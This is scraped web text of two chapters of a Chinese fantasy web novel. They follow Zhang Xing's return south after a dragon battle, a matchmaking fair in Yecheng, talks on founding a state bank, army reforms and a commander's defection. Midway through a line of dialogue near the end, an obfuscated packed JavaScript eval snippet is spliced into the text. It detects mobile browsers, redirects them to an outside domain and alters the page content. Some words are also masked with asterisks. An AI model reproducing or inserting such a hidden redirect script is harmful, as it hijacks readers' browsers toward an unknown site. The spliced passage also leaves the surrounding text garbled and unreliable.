张行没有再做多余的胜利表达,因为这一战的战果已经直接分发到了所有存活之人的体内了……张行和白有思一头一尾显化居功最多,然后大宗师孙思远以下,到寻常踏白骑,乃至于**车部队里的一些正脉修行者都明显得到了提升。 这种时候,委实无需多言。 天亮后,众人没有去理会已经与昨日并无差异的天池,只是认真收殓尸首,然后便拔营下山。 孙思远此时主动告辞,最先离开。 下午时分,队伍走到半山腰,便已经迎上一些荡魔卫精锐……他们看到山顶异象频出,又寻不到大司命去向,便来探查,得到殷天奇亲口验证的消息后,自然振奋,且难免有对黜龙军生些敬畏之态。 不止是他们有这般能耐,关键是黜了真龙,居然只有八分有一的战损,且得胜之军殊无恣意傲慢之态,也无不安焦躁之形,愈发显得可畏。 第二日,再往下走,便是数不清的荡魔卫助力与本地士民。 晚间回到山下,队伍汇集徐世英、马围、黄平等人,稍作商议后,决定以徐大郎为主留在北地,继续监督荡魔卫合并事宜,而张行等参战者连年关都不做理会,就此南下。 理由是要尽快将战死者带回故地安葬,同时还要观察河北在开春后是否有气候异常。 理由堂堂正正,荡魔卫诸人也不好阻拦……当然,大家也知道,最主要的原因是,经此一役,荡魔卫心悦诚服是一说,整个北地都会丧失继续军事对抗黜龙帮的勇气。 这种情况下,再加上踏白骑从年初开始,一整年的时间都在奔波往来,所谓每战皆用,每用必克,刚刚还遭遇了一成多的直接损失,怎么算都该回乡休整了。 而张行也要随之回邺城,对这支黜龙帮的战略核心力量进行晋升与调整。 唯一值得一提的是,临走之前,张行赦免了失魂落魄的陆夫人,让她好自为之。 年关是在黑松卫过的,正月初八便过了掷刀岭,进入燕山,婉拒了幽州行台窦立德和踏白骑出身涿郡沈太守等人的挽留,一路南下,正月十五居然便抵达了邺城。 但是事情还没完,队伍根本没有做停留,而是继续向前,大部队护送踏白骑战死之人尸首往历山而去,张行则带着刘文周的人头亲自往红山一行。 他拒绝白有思、秦宝的随行要求,和当年一样,孤身前往。 如今他已经是顶尖的宗师水准,自然不会担心他的安全,便也由着他去了。 然而,这位新晋宗师,却不施展手段,反而只是骑着黄骠马,将刘文周首级用囊袋裹了,便从容进发……正月十七,便来到红山外。 此时,春日景象已经显露了出来,而且非要说气候上有异象的话,并不是之前担心的北方寒流,而是说今年的春日暖的极快,这一日下着牛毛细雨,便已经感觉不到半分寒意了,连腰垫上的皮**都撤了下来。 下午时分,来到山谷前,便看到一处酒旗在烟雨中招摇如常。 张行本可直接进山,今夜便抵达目的地,但心中一动,反而就地下马,走入了店中。 店中早有店家迎上,便来询问:“客官是要入山?山路难走,又下了雨,正该在我家里歇一歇,明日一早出发。” 张行看着对方明显年轻的容貌,不由失笑:“这店是你家里传下来的?**年前,杨慎刚刚**的时候,可是你长辈在这里看店?” 年轻店家登时愣住:“客官年纪也不大,竟认的我父亲?” “恰好是那一年来过一次。”张行也不落座,只是笑问。“他如何了?可曾熬过前几年?” 年轻店家既笑且叹:“既是故人,不敢隐瞒……家父被武安的李龙头给招了过去,因为以前是酒家,算账好,便做后勤武备,现在做到准备将,正在北地……若论前些年河北这般乱子,能有性命已经极好,只是如今到底是军务在身,将来听说还要留在北地常驻,还要转为地方官,相隔**,不免忧虑父子难再相见。” “北地到这里,便是最北面的观海听涛二镇到这里,也哪有**?”张行听了,如释重负,却又来做纠正。 “没有**吗?”店家诧异一时,俨然是真不知道。 “路程不过是三四千里。”张行认真算了算。“**还远。” “便是如此,往来两趟也够**了。”店家感慨。“若不是父亲叮嘱我不要弃了祖业,我也要全家迁移到北地随他去的。” 张行点点头,复又惊醒,指着西面来问:“你说山路不好走,可是最近又有血池空洞引发山谷坍塌,以至于阻断道路?” 那人愣了一下,连连摇头:“血池的说法许多年未曾听见了,也许久未见了,便是坍塌,道理上应该是有,是山都该塌,可这两年也的确少了……还真奇怪。” 张行按捺不住好奇,只点点头,便要了一包肉,两个热饼,外加一壶酒,然后出门直接往山中去了。 此时虽然细雨绵绵,但张行修为到了这个份上,自然五感清晰,他只是往里面走了四五里路,便察觉到异样,然后忽然醒悟——原来,红山的土色虽然还是红褐色没变,碎渣的土感也没变,那种淡黄色茅草与红褐色灌木依旧普遍存在,可是相较于数年前,山上高低各处却多了许多明显的绿植。 张行此行跟之前不晓得路乱转不同,自然早早认定目标,再加上黄骠马委实山中雨中如履平地,竟是天黑前便已经来到当年那个山谷,然后惊讶发现,昔日自己躺着睡觉的土坡,如今早已经被平整干净,而且原地赫然立着一个黜龙帮的乡所。 而且,此时尚未天黑,居然是人来人往。 其实,想想也是,这山谷内自有田地,按照黜龙帮基本国策之一的授田制,此地若没有迁移过来一些人反而奇怪。 张行驻马痴呆片刻,姿态怪异,自然惊动了乡所里的戍卒,须臾便有一名典型红山人身材的断臂汉引着人扑来,远远便呵斥询问,说是这里挨着晋地边界,为防间谍,必须要出示文书云云。 结果,来到跟前,那明显是老卒出身的断臂汉便有些慌张和迷惑,语气也奇怪,俨然是张行多次亲临阵前,人家连人带马认得三分。 张行倒是没有暴露身份什么的,反而从怀中取出一份真的不能再真的踏白骑遣用文书,给对方看了一下,不待对方继续试探便直接打马轻走,往更深处而行。 走到目的地,天色已经入暮。 所谓日落而息,山谷中的居民自然也不会浪费灯油,但刚刚掌灯,少年无赖依旧活跃,夫妻不能歇息,人声弥漫村庄,也是毋庸置疑的。 张行立马在细雨中,怔怔望着眼前数十栋明显已经有了几年新旧模样的村社,哪里还不能确定,他当日埋尸立门的地方,早已经被人刨的干净,然后又复起人烟呢? 听了半晌杂乱的动静,大约是某个熊孩子挨了打的时候,张行将那冰冻的首级取出,一点卫生都不讲,便随手扔在人家门前,然后调转马头而走,全程并未多用一次罗盘。 翌日天明的时候,辗转数**的张行回到了满目春色的河北平原之上。 正所谓:一年又逢春,**归故人。 PS:圣诞快乐! 第七十二章 安车行(1) “春眠……不觉晓, 处处……闻啼鸟。 夜来……风雨声, 花落……知多少?” 漳水畔的一处酒楼上,刘黑榥摇头晃脑,端着酒杯,侧靠着远端的漳水,便将酒楼粉壁上的一首诗给吟了出来。 然而,等待他的却不是欢呼与掌声,而是曹晨在内诸多清河兄弟的诡异眼神。 “你们这般看我作甚?”刘黑吟诵完毕,反而对其余人的反应不满。 “老刘!”曹晨最是无语。“你自己什么样子你不晓得吗?胡子拉碴到脖子,非得学人家吟诗作对?趁着现在闲下来,先去南边相亲会把婚事定下来如何?再说了,这都夏天了,你还在这吟诵什么春眠不觉晓,果真应时?” “曹大,你这就是……就是没出息!”面对一连串揭底的反问,刘黑榥非但没有灰头土脸,反而立即反击了过去。“上个月,是不是首席跟我们亲口说的,各营做主将的要读书,便是不懂经史子集,也该看看《郦月传》这种小说,至不济背几句诗词……如何到了你这里便是不应时了?要我说,你再这般下去,一营主将不保!” 曹晨难得脸色一黑:“老刘,你自站在岸上,可不要这般幸灾乐祸!” 刘黑榥嘿嘿笑了几声,宛若得胜公鸡一般坐下,丝毫不顾忌伤了老乡感情。 但酒席立马变得潦草起来。 在场的清河老乡忍耐不住的议论起来,都在说今夏大调军的事情,也是目前跟他们最切身相关的事宜——去年过于成功的大进军行动加上黜龙帮高层普遍不愿意背盟的意愿实际上为黜龙帮争取到了足足一年半的休整时间,没有任何一个组织政权会放弃这个窗口期进行大规模军改和军备。 而黜龙帮也确实已经着手此事,唯独这类活动中最重要的一点就是军官人事更迭,不免牵扯到这些刚刚回来休整的各营军官了。 仔细想想,一年半前,也就是黜龙帮上次横扫河北、北地之前,已经做过一次营将级别的更迭了,而且淘汰了大量的资历深厚却乏军事才能之辈,其中很多人干脆是建帮功臣。 那一次,好像闹得还挺紧张。 “其实,真要是让我转地方,或者来大行台这边也不是不行。”一名络腮胡子的大汉按着酒杯道。“我看小高跟他浑家在曹大姐那里就做的极好,可怕就怕,真转过去了,还是全须全尾的,人家暗地里就说你,觉得你是因为无能才落下来的……这到时候怎么辩白去?” “名声算什么?转的人多了,自有人辩白……关键还是前途。”又一名白净男子接口道。“接下来还得打仗,还是四家争雄的大仗,这才功勋所在……刚刚曹大哥说刘大头领是站在岸上,不要太对,但可不是说他还能留在军中作战,而是他已经大头领了,我们这些人却卡在头领前望眼欲穿。” “不错,想升头领太难了!三转的舵主和**多的是,这一层的准备将、县令,还有一些没有说法的郡守,加一起怕不是要成千上万?可头领就那百多个!”有人明显焦虑起来。 “一个营十个队将,十个准备将,笼笼统统七八十个营,加上踏白骑那边,这便是小两千了!县令、还没说法的郡守也得五六百,还有新科进士,大行台里的资历参军、文书,各部里的司官,怕也有五六百,新降的荡魔卫再加五六百……可不是成千上万嘛!”有人干脆算起了账。 “要我说,曹大哥你也是饱汉子不知饿汉子饥……头领才是最最关键的一层!”说到这里,一开始的白净男子干脆拍了桌子。 “曹大也没说瞎话。”倒是刘黑榥适时说了句良心话。“这不是大家都想要进步嘛,你们想冲个头领,曹大也要冲个大头领……首席都说了,既入了帮,便是要为天下人做公道,不想进步岂不是不想为天下人做更大的公道?你们都没错,都该想着进步才对!” 众人纷纷颔首附和,又喝了一轮酒,吃了几筷子菜肴。 “进步都想进步,可如今黜龙帮规制到底不同以往了。”等众人再静下来,曹晨方才一声叹气。“再往后,不光是头领,哪儿都难!从龙头到头领早就定下总数了,还要分地方……我之所以心里发慌,还不是因为大行台这里藏龙卧虎,河北地方也全是功勋人物,跟人家争起来没把握?所以,还是得指望打出去,以营将的身份把隶属放在别处,就好像如今武安的人都把隶属放在北地一般。” 众人再次颔首附和,认可这个说法。 “要是这么计算,曹大,你也去北地便是!”刘黑榥眼睛半转,端起酒杯嘬了一口,给出了一个建议。“首席那里又不撵人,你当面去观风院求一句试试呗!反正如今窦大哥在幽州那里也只是支援,怕是再难出去单领一路打仗了,总不好去幽州……幽州也没几个营吧?” 曹晨沉默半晌,还是摇头:“北地过去简单,可以后窝在那里没有仗打,真就好升迁?何况李龙头到底是河北官军的身份,跟咱们河北义军的出身尿不到一起去,不是一个姻亲就能如何的。再说了,我哪来的脸面当面去求首席?总不能拿自家妹子的” “左也不行右也不行,你还有没有点子出息?”刘黑榥似笑非笑。“还是说,你就是拿定了主意,就想留在大行台这里继续领兵打仗?” “是!”曹晨应了一声。 “这就对了!”刘黑榥指着对方鼻子啧啧起来,复又指向自己的鼻子。“主意得正!就像我,我就是指望着平定天下时能得了龙头的位置,这才不枉活这一回!” “你哪里是为了做龙头,你分明就是只会打仗,也只想打仗,除了打仗你什么都不会,也什么都不想,你连老婆都不想!”曹晨无语至极。 “无所谓了。”刘黑榥摆了下手,终于按捺不住性子将自己本意扯了出来。“如何,老曹?还有你们几个兄弟一起,要是都觉得北地不好去,又想留下做军官,我带你们去寻首席说,就说咱们几个兄弟打仗时向来习惯了,而且配合顺畅,请他为我们做个主意?” 众人心中大动,纷纷看向曹晨,而曹晨起先自然也是一喜,却又陡然一惊,然后想了一想,却也只能颔首。 原因很简单,曹晨当然希望能够得到刘黑榥这种战功卓著的大头领的保荐,可与此同时,他……或者说在场的所有人也都能意识到,对方这是在挖墙脚,公开的挖墙角,还是在挖曹晨妹夫、所有人昔日的领导,如今的幽州行台窦立德的墙角! 这个光棍汉不去相亲,专门起宴招待这些清河军汉,本就不怀好意! 唯独转念一想,现在这个情况,窦立德确系在幽州做行台,曹夕也在经营她的大部,窦小娘也做到一营主将,这根本就是窦立德全家进步的太快了,摊子太大,反过来兜不住军中剩余的老兄弟了。 这个时候,本就是清河出身的大头领刘黑榥站出来,替窦大哥收拢一下,难道就算是坏事? 最关键的是,现在确实需要人家刘大头领站出来替大家说句话,才好保证大家伙不在整军中靠边站好不好? 一念至此,曹晨也不矫情,立即点了头,周围人自然也都点头。 刘黑榥见状得意忘形,当场嚷嚷起来,要现在便去寻张首席。 众人自然乐意,跟着刘黑榥下了楼,曹晨在后面付了账,也匆匆跟上。 此时正值初夏中午,微风鼓荡,漳河饱满,而众人喝酒的地方居然是在城内。 没错,邺城又又又变大了! 原本的邺城作为河北首府一直很大,但是大魏统一天下过程中出于关中本位的思想,曾经将邺城成规模的拆迁并遣散了大量人口。 黜龙帮接手后,第一时间仿效之前的习惯,在城南、城北、城东依次设立了大型马厩、制铁坊和一座多用的校场,然后又在更南面的韩陵山城驻军,算是为邺城增加了四座有足够经济活力的支城。 随即,在那一次经典的活动之后,黜龙军又正式启用了城西的行宫。 这还不算,从黜龙帮大行台在邺城建立以后,整个河北、东境、淮北、北地的资源都理所当然的汇集过来,人口日益增加,工商业随之发展,消费水平也蹭蹭上涨,城外到支城之间的空地被广泛准许开发,渐渐堆满了商户、工坊、仓库以及相关的住户。 最后,在魏玄定的直接主持下,邺城开始有步骤的在外围区域开挖壕沟,整修下水,建立矮墙……去年张行北上黜龙的时候,这个工程就已经有了一些规模,而如今,这些完全可以称之为外城的工程基本已经完成。 整个邺城的面积直接扩大近三倍,逼得用来检阅部队、搞运动会的大校场挪到了更东面,倒是大铁坊和大马厩分南北保留了下来,并正式建立了支城。 而这场酒宴其实就是在刚刚开辟的北外城挨着漳水那边的新区中举行的,而此地的商贾工坊多来自于北地……据说,张首席有时候也会来这些新店做回忆。 回到眼下,众人离开北城,直奔行宫北面新开的玄武门而去。 验了鲸骨牌,签了名字,便入了玄武门,而玄武门后却并不是行宫区的核心部位,反而是最具有生活气息的一片地方,经过改造后,几乎每一位大小头领都在这里有一个住处,龙头们会有一个单独的院子,而到了普通头领就只有加筑院墙隔开的两间房了。 就这,估计也不够了,而帮里已经着手将更西面的漳水三台修复,然后将主要的公房搬过去,好腾出空间来给头领们分房子了。 张行、白有思、秦宝共享的观风院不在北面,而是在行宫中央偏东位置,刘黑榥等人下定主意抵达此处,却得到了正在洗马的秦宝一句话——张首席居然去城南相亲会了。 张行当然不是给自己相亲,他是给帮里老光棍找老婆! 再问什么时候回来,给的回答也是不知道。 闻得此言,很多人都要打退堂鼓,但刘黑榥是何人?天不怕地不怕的,这些兄弟聚在一起时机也难找,便咬了牙,招呼了一伙子人又往城南去了。 从行宫出来,此地又是一番风景,这边多是跟黜龙帮大行台有关系的生意,或者干脆是帮产。 譬如大行台这么多人薪、俸、衣的存储发放,都需要地方,继而又有了成衣制作、酒楼、杂货等生意,后来又有笔墨纸砚书籍,到了现在,连金银钱帛兑换的钱庄都有了两家。 而且据说背景深厚。 越过今日格外热闹的宫前小广场和商贸区,来到仓储区,便是今日举行相亲会的地方了……实际上,刘黑榥等人走到这边,便已经察觉到异样。 无他,人太多了。 此时此刻,这些子混军汉才意识到,相亲会可不止是各家小姐、未婚女官加上帮内光棍那么简单,哪个小姐家里不跟着长辈妇女来观看?不跟着兄弟来扈从?有些家底的,自然还要带些签约的仆妇伙计。对应的,那些光棍哪个是自己光秃秃来?不得跟几个成了婚的兄弟,外加大嫂长辈一起来看? 仅仅是这些人还不算,莫忘了,这是河北,是邺城,是行宫对面,张首席亲自来站台的相亲会,但凡家里有辆车的姑娘家,要不要驶出来?帮内的光棍汉哪个不骑马? 便是没车没马,是不是也得借一个过来? 于是乎,街道充塞,人声鼎沸,这边在谈哪个男的胸前鲸骨牌杠杠多,那边在说谁家小姐有多少嫁妆……刘黑榥带着一伙子人带着酒气挤进去半条街,之前观风院都没打退堂鼓的他现在终于撑不住,便要一起撤走。 结果刚要回头,便听到里面几声锣响,说是下午的第二场开始了,外面的人蜂拥进来,饶是刘黑榥早就是成丹高手了,此时也不敢腾跃逃窜的,只能顺着人流被挤了进去,一起来的兄弟都挤散了。 然而,这还没完,刚刚被挤入大仓库改的场地内,刘黑榥便后悔自己没有直接跳到房顶逃跑了。 “老刘,你竟也来了,速速过来!”坐在临时搭建台子上的张行远远看见来了一位未婚大头领,自然兴奋。 刘黑榥此时已经从头凉到脚,但首席召唤,他也没有胆子就此溜掉,只能硬着头皮走了上去。 “诸位,诸位!”张行起身牵住刘黑榥与台下乌泱泱的人做介绍。“这是咱们的刘黑榥刘大头领,清河人,今年刚过三十,修为在上次黜了吞风君后便窜到了成丹境界,身体健壮,身家清白,如今父母早去,就他一人……有没有毛病?有!这厮决意反了大魏,为河北百姓争个太平之前,因为家里穷困,又受大魏官府盘剥,只能做个赖账的破皮,全靠窦立德窦龙头接济,不然就要被人抓去上枷示众去了……所以,只有一个要求,那便是泼辣一些,能管的住他! “不要觉得他是大头领,又泼皮,就担心管不住,只要有那个泼辣性子,敢管他就行,因为只要你受了委屈,便可先来寻我,我做的媒,我管到底!他要是打老婆,我就打他!他要是敢偷偷娶小的,我便撤了他的大头领,撵到大兴山守天池去! “诸位不要不好意思,这可是这般年轻的大头领,军功卓著……过了这个村便没了这个店……现在有兴趣的,把自家女儿的表格填好,往前面的箱子里投进来! “不要怕多投!本就是相看,要是女家只能投一份表,岂不是太便宜这些混军汉了?” 台下哄笑,然后便蜂拥上前投表。 刘黑榥立在台上,眼瞅着张行将他如年猪一般发卖,实在是没忍住,当场便吼了一声:“我有话说!” “你有甚话要说?”张行扭过头来,笑吟吟来问。 刘黑榥看到对方和蔼表情,心里先发了个慌,但到底是泼皮本色,强忍着不安也放声叫了出来:“既是相看,不能只他们相看我,我也要相看她们!” 张行再度笑了笑:“收到这么多表格,还怕不能相看?” 相看个屁! 刘黑榥心中无语,真要是你张首席硬塞进来一个河南头领的什么亲眷,便是再丑、再穷,自己还能逃婚? 一念至此,这厮倒是豁出去,直接梗着脖子来喊:“漂亮我不管,籍贯也不管,脾气也无所谓,只要家里有钱的!” 张行撇了撇嘴,竟直接把这个丢人现眼的货色推到一边去了,而台下哄笑之余,却又有数家上前塞了表格……这些都是有钱,但是之前却不敢去投这位大头领的。 其实想想就知道了,按照这个世界这个时代的婚姻观,婚姻市场上最高端的女性便是大族女子,但当初黜龙帮还是那种规制的时候,程知理就能娶到崔氏女,遑论如今黜龙帮的局面了。 这种情况,刘黑榥只要自己想,去哪家提亲,哪家都没有不答应的道理。 甚至,这个相亲会能开起来,最大一个原因根本不是什么天下崩坏到现在进入到了一个整合期,有了空闲可以结婚生子,也不是有刘黑榥这种优质单身汉来充当资源,而是说,张行张首席居然亲自来做主持! 他不去参与制定新的分郡计划,不去侦查司马氏刚刚修建起的河阳三城工事,不去招待大司命参观河北,甚至都不对白横秋这个老岳父搞偷袭! 但是不管如何,张首席出现在了这个场合,众人自然纷至沓来,便是已经有婚约的,也想从这里走一遭。 你放在大魏,放在东齐,放在现在的大英,你能让皇帝给你当媒人? 相亲会纷纷扰扰,刘黑榥到底是没寻到机会说事,非只如此,就连随行的人都被冲散,一个个寻不到了。但事到如今,他反而决心今日一定要把话说出来了。 于是乎,等到一连三场相亲会结束,刘黑榥立即跟上了张行。 此时天色尚亮,刘大头领也猜到这位首席应该还会有其他事,却不料人家居然是送几位老太太回家!但刘黑榥偏偏也认得这几位河南出身的老太太,倒不好说什么……一路上,反而是他沦为了讨论的中心,几位老太太都关心他手里的表格,询问他有没有看中谁谁谁。 刘黑榥一个头两个大,只能在几位老太太的指指点点下,当场翻看起了表格,还煞有介事的恭维起了几位济阴、东郡出身的老太太。 好不容易送人入了行宫住处安顿,张行还不回观风院,居然又从玄武门走了出去,刘黑榥沿途随行,竟然到了白日他们喝酒的地方。 不用说都能猜到,这是约了人。 所幸张首席没有赶人的意思,刘大头领便也装模作样的跟着上了楼……等在这里的人年纪颇大,须发花白,身上的衣服和头上的帻巾都有些不太合适,似乎是新做的,这配合着此人明显发胖的体型,不免显得滑稽,但是刘黑榥却半点没有怠慢之态,反而肃然起来。 无他,此人正是最近刚刚来到邺城的荡魔卫大司命殷天奇。 双方落座,稍作寒暄,却又只说些闲话……什么河北气候如何,可还适应?邺城风景如何,玩的可尽兴? 不过,说着说着,似乎也提到了一些算是正经事的话题,比如荡魔卫准备如何启用武安郡的大黑帝观?允不允许外人参观?邺城这里北地货物是否畅销?荡魔卫作为黜龙帮的并行组织如何纳税?北地诸位头领要不要在邺城分派房屋?是不是该把家人接过来? 而且,双方明显有讨价还价的意味,也算是有来有往。 就在刘黑榥听得津津有味之时,大司命忽然提及了一个有意思的话题。 “钱庄?”张行也明显一愣。“荡魔卫也要开钱庄?” “张首席这是犯了什么糊涂?这本是我们的本业!”殷天奇大笑。 张行一愣,也是反应了过来……可不是嘛,人家荡魔卫在北地负责提供公共服务,而北地地广人稀,商业活动是根本要害,这荡魔卫天然就要负责给那些战团做拆借。 “开钱庄当然可以。”张行想了一想,倒是干脆。“但有件事情要告诉大司命,省的你们以为我是针对北地做的举措……我本就想让帮里出面开一家大钱庄,不光是拆借、兑换金银,还要发通票,还要负责发放和转运官吏军士的俸薪,还要管束其他民间所有的钱庄,规定利息高低和金银钱帛兑换的定例。” 殷天奇沉默片刻,看了一眼低头喝酒的刘黑榥后给出答复:“不瞒张首席,我们荡魔卫是开惯了钱庄的,当然晓得这么一个大的官家钱庄有什么用,而且我们也还没开起来,确系不好驳斥,只是我委实好奇,现在的两家钱庄,不是黜龙帮内里的底细吗?张首席这么做,不怕得罪自己根基吗?” “这话应该反过来说,若是他们贪图过了头,便是在挖他们的根基,也就是坏黜龙帮的大局,如何能拐到我头上?”张行不以为然道。“我身为首席,都没有作威作福,他们私下索求,我也没有刻意阻拦,若是遇到大政方略,受了影响,居然还有人觉得委屈,那便不能一个锅里吃饭了,该怎么办就怎么办!” 殷天奇笑了下,没有在这个话题上继续下去,而是干脆点了头。 倒是刘黑榥此时插了嘴:“首席,你这般觉得当然是通的,我也觉得河南和东都的兄弟们大多会认首席你的官家钱庄,可有些人就不是这个想法了……他们觉得他们是功臣,弃了军权,便该天经地义的受政权,弃了政权,便该求田问宅,可现在咱们黜龙帮最根本的就是授田法,他们连田宅都难**,高利债也不许,奴仆也只能签约,这个钱庄的浮财,怕就是最值当了……若是首席你轻易断了他们这个浮财的来路,怕是真有人想不开的。” “想不开就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168027|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想嘛。”张行坦然道。“反正帮里头领正嫌多。” 刘黑榥点下头:“就是要首席明白,不是要劝首席……我也巴不得去掉一些人呢,好给愿意上进的兄弟们腾空。” “任重道远。”张行幽幽以对。 刘黑榥依旧打住,没有将想要说的事情摆出来,而是等面前两位大人物自行结束。 “老夫即将南下,张首席可还有什么交代?”殷天奇倒也没有拖延。 “有。”张行正色起来。“我想请大司命去河南探查地方之后,去一趟东夷……我们有两个头领被俘虏,一直到现在还没回来,使者去了七八轮,统统没用,正要借大司命的面子。” “可以。”殷天奇迟疑了一下,但还是点头。“既入了黜龙帮,这便是首席安排下来的第一个事务,我必然尽全力而为……只是这件事,非是人力所必成,我不能打包票,说人一定带回来。” “大司命能走一趟,我已经感激不尽了……我替这两位头领的家人谢一谢殷公。”说着,张行直接举杯,引得刘黑榥也赶紧满酒举杯。 殷天奇也不客气,举起酒杯后却又含笑提了一个条件:“张首席,老夫听人说,这后面影壁上的‘春眠不觉晓’便是你做的……今日我要离开河北,能否赠我一首诗啊?” 张行想了一想,倒是笑了:“大司命,此时于我而言,乃是真龙已黜,长缨再空,四下茫然之际,于你来说,则是卧龙北地数十载,一朝出山,如虎啸山林,所谓莫愁前路无知己,天下谁人不识君?这种情形,既做不出来诗,又何须求诗呢?” 殷天奇点点头,不再纠结,一饮而尽,然后拿袖子抹了下嘴,便径直扶着头上帻巾下楼去了。 堂堂大司命,如今离开北地,也要为荡魔卫众人前途奔波了,委实让**开眼界……刘黑榥心中这般想,不耽误他立即开了口:“首席,我找你有事。” “说。”张行倒是干脆。 刘黑榥不敢怠慢,立即明明白白的将自己此行目的说了出来,就是要在新一轮整军中保这些清河-高鸡泊出身的河北义军,而且理由就是这些人相互之间以及跟他刘大头领配合默契,作战便利。 张行听完以后不置可否,反而来问:“你这般挖高鸡泊的墙角,窦龙头知道吗?” 刘黑榥当即梗起脖子来:“首席说的什么话?相互都是黜龙帮的人,谁是谁的墙角?” “这话当然是对的。”张行不由发笑。“但一锅饭也总得盛到各自碗里去吃……高鸡泊的人跟这窦龙头一起进的水泊,然后一起吃水草扛了一年多,相互之间联姻结义,就是人家窦龙头是头,不然如何是他成了河北义军的代表,做了龙头?” 刘黑榥也跟着笑了笑:“首席说的是,但窦大哥这不是远在幽州嘛?便是大家的意思,却都想留在大行台这里好去打大仗……而大行台领兵的人里面,河北义军里,就是我最出挑,这个时候当然要替首席还有窦大哥做个补漏。” “这就对了嘛,该担起来的责任就要担起来,但要光明正大的担起来……你跟窦龙头写封信,然后再写封信给徐大郎,把人和事情说清楚,你本就是大头领,有举荐的责任。”张行最后吩咐道。“我会让徐大郎去专门看看这几个人,若确实军务娴熟,又真想留下来,那就让他们同级中优先便是。” 刘黑榥立即点头……不管如何,这事算是办下来了,跟谁答复都能立得住。 但是,他还是觉得有些不够利索,因为张行居然没有直接答应。 一念至此,其人不由来问:“首席,我月前就想问了,怎么觉得你现在不管正事呢?” “我如何不管正事?”张行诧异来问。“军改吗?头领以下的任命我要是管,岂不是累死?人事上管头领以上已经不错了。” “话虽如此,可首席明明还在管其他的事……就好像这相亲会,我也晓得首席是想趁机弥合帮内派系,南北合一,可也不至于亲自坐镇吧?”刘黑榥说出了内心真实想法。 “你以为我是为了什么南北合一去做监督的?”张行略显诧异。 “不是如此吗?”刘黑榥真心不解了。 “我是为了让老百姓相信,这个黜龙帮,这个什么大明,是真能让他们过太平日子的,所以才会做这些事情。”张行喟然以对。 刘黑榥有些茫然。 “老百姓相信我们,我们就能调度更多的人力物力,这样才能在马上要开始的战场上更占优势,就能让天下快一些统一。”张行补充了一句。 刘黑榥这下子懂了。 张行起身离开,刘大头领主动在后面结了账,这才一起入了玄武门。 夏日总的过得很快,尤其是在某种相对而言的无所事事中……其实,这种心理也很奇怪,因为战乱之世中,这种和平的生活本身就应该是人们的追求才对。 但实际上,因为战争的威胁,人们始终觉得这种生活不真实,始终觉得这种生活是在为了战争做准备。 这么说似乎也没错。 毕竟,仗总是要打的……天下万事,唯战不易。 进入五月,河南那边已经进入到了一年一度的梅雨季节,河北这里也开始时不时的有了典型的五月雨……邺城的事情很顺利,在没有战争活动的情况下,军国主义体制推动起其他各类事务总是那么快捷高效。 在继扩展邺城、收编北地之后,张行想要的帮中直属大钱庄也建立了,按照黜龙帮**传统,这个钱庄专门组了一个小部,向大头领曹夕负责,全程顺利,无人反对。 就连相亲会也显得格外成功,不管张行如何给自己的行为上价值,但事实就是,刘黑榥说的有一定道理……连续多年的战斗,从去年开始才有了一定的喘息之机,到了今年,婚姻和生育成为了邺城行宫内的主流,而且很明显的,张首席在通过那些东郡、济阴的老太太们刻意推动着河南、河北、东境、北地,乃至于江淮的各方婚姻合流。 至于例行的每一次军事活动成功后都要进行的军事改革与军队改编也在按部就班的进行着,头领一层的安排也已经完成,现在正在制定总数在六十个野战营加二十个军法、巡骑、土木营,再加上八十个后勤、戍卫、军屯营,合计一百六十营的军事重构计划。 没错,从野战部队角度来说,黜龙帮似乎并没有在夺取幽州、河间、北地、晋北后大肆扩军,他们原本就有六七十个营,现在不过是增加了十来个而已,最大的要点似乎是有序建设了多达十六万之众、与野战部队几乎相当的强大预备役。 不过,这里是有一个明显战略欺骗的——徐世英按照张行的要求,将新增的北地军事力量通过戍卫、后勤、巡骑、土木营的方式隐晦的投射到李定以及他周边的行台那里,实际上构筑了一个多达五万,全力支援下可达七万的战略重兵集团。 所以,如果黜龙帮这一次军改成功,那将来黜龙帮一旦动员,表面上会有合计十六万常规野战兵力。而实际上,会有十九万左右的野战部队。其中多出来的三万,大略分布在李定所在的北地西行台,以及西行台周边的其余四个行台,也就是北地其余两行台,加上幽州行台以及周行范所在的苦海-晋北行台。 到时候,就可以轻易发动张行的全地图钳形攻势了。 总而言之,进入这一年的黜龙帮,最起码在邺城这里,一切都显得很成功、很顺利,但又莫名的很匆忙、很焦虑。 五月初七,一场雷雨中,多名哨骑从大河河道方向飞奔而来,向邺城报告了一个让人瞠目结舌的消息——这一轮军改中转为戍卫营主将的头领常负,因为被挤出野战军外加钱庄生意被管控等等缘由,利用河南那典型的梅雨气候,几乎是单骑逃亡到了淮阳郡,通过太守赵佗,向司马正请降。 走之前,还留下书信喝骂张行与徐世英处事不公。 一时间,邺城震动。 而很快,整个黜龙帮上下就应激了起来——单通海几乎是当日晚间便亲身驰到了邺城,请求出兵龙囚关,逼迫东都将人送还;参军部在内,绝大部分的邺城大行台官吏都认为,应该趁机撕毁到明年此时的合约,抢攻东都。 张行拒绝了这些,只是让谢鸣鹤走外交途径要人而已。 相互嘈杂了半个月,梅雨都要结束的时候,司马正给出答复,人已经自行去了西都,大英似乎对黜龙帮的叛徒很欢迎,尤其是黜龙帮刚刚进行了一大半的军改,据说常负直接被授予了一品散官并遥领了关中一郡太守,很显然,只要常负稳定下来,按照惯例,他将会获得这个实职,然后再等第一次立功后加爵位。 孤身一人,便至于此,这是典型的降人优待,参照的是当年大魏对东齐、南陈降人的惯例。 这下子,张行没有再迟疑,下令周行范、洪长涯二人对晋地发起报复性的攻击,军队规模限定在两个行台内。 五月底,周行范引兵一万叩楼烦关,几乎是同日,已经做了大英忠臣的王臣廓引兵七千反向侵入恒山,逼的洪长涯不得不回师。 而晋地还没有结果呢,淮南突然来人,杜破阵遣人告知了邺城一个消息——南梁内乱,梁主萧辉要借淮右盟兵马平叛。 